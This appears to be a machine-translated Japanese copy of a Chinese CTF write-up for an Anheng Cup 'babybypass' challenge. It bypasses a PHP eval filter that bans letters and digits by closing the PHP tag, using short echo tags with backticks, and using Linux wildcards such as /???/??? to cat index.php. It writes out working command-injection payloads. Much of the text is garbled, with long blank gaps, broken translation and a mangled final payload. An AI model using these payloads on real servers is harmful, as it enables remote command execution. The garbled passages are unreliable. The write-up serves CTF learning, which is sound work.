安恒杯月試合babypass getshellは英語のアルファベットと数字を使わない

1705 ワード

BABYBYPASS
     :    
①      35   
②             _ $  

最後にgetFlag()関数を提示し,この関数から着手する.
          eval  getFlag  ,        _ $              ,           
             eval        ,  index.php。

使用する知識点
①linux    * ?   
②php   ?>  
③linux     
④apache        

linuxワイルドカード
*は任意の文字を表します.1文字を表す
phpショートラベル
='コマンド'?>を使用できます.この部分を迂回した英字を書く必要はありません
すべてファイル
私たちlinuxで使用するコマンド、例えばls、catなどのコマンドはすべてファイルで、/binディレクトリの下に保存して、/bin/cat/bin/lsをこのように使用することもできます.
apacheデフォルトのWebページの保存パス
/var/www/htmlでは、現在ワンタッチでインストールされているパネルwdlinuxやphpstudyなどのディレクトリが変更されています.
一歩一歩分析する
①コードがこのようなものであると仮定して(ローカルで試した)フィルタリングはありません
index.php
flag.php  

このような状況は私たちが直接
?code=?>  

または
code=?>(            )

短いラベルで試してみることもできます.
?code=?>=getFlag()?> 
code=?>=`/bin/cat /var/www/html/index.php`; ?>

詳細:
なぜcode=?>、なぜ先に閉じるのですか?
eval          php,    
      php            
?>   php      

②コードがフィルタリングされ、英数字がフィルタリングされました_$長さと、元のテーマです.
システムコマンドを実行するため、linuxワイルドカードを使用できます.
/bin/cat /var/www/html/index.php>  
/???/??? /???/???/????/?????????  
        ,     index.php    *     
/???/??? /???/???/????/*  

那=?>=`/???/????/???/???/????/*`;?>
なぜ‘ではなく‘を使うのか、ブラウザは符号化を行って破壊した’が、‘として使用できるが符号化されない
転載先:https://www.cnblogs.com/zaqzzz/p/9984569.html